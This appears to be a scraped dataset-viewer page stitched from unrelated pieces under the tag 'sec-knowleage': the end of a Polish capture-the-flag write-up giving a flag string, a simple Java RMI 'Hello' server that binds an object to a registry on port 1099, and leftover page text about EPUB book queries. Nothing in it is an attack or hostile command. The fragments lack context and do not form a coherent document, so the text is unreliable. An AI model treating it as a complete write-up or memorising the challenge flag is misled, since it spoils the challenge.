Obrazek nadal ma aż 3195 x 3321 pikseli.
Nie przeszkadza to jednak w odczytaniu flagi.
`0ctf{5m@LL_fL@g_#n_BiG_Bitmap}`
|
sec-knowleage
|
/*
* This Java source file was generated by the Gradle 'init' task.
*/
package train.rmi;
import train.rmi.remote.impl.RemoteHello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) {
try{
String name = "Hello";
RemoteHello h = new RemoteHello();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.rebind(name, h);
System.out.println("Hello obj bound");
}catch (Exception e){
e.printStackTrace();
}
}
}
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.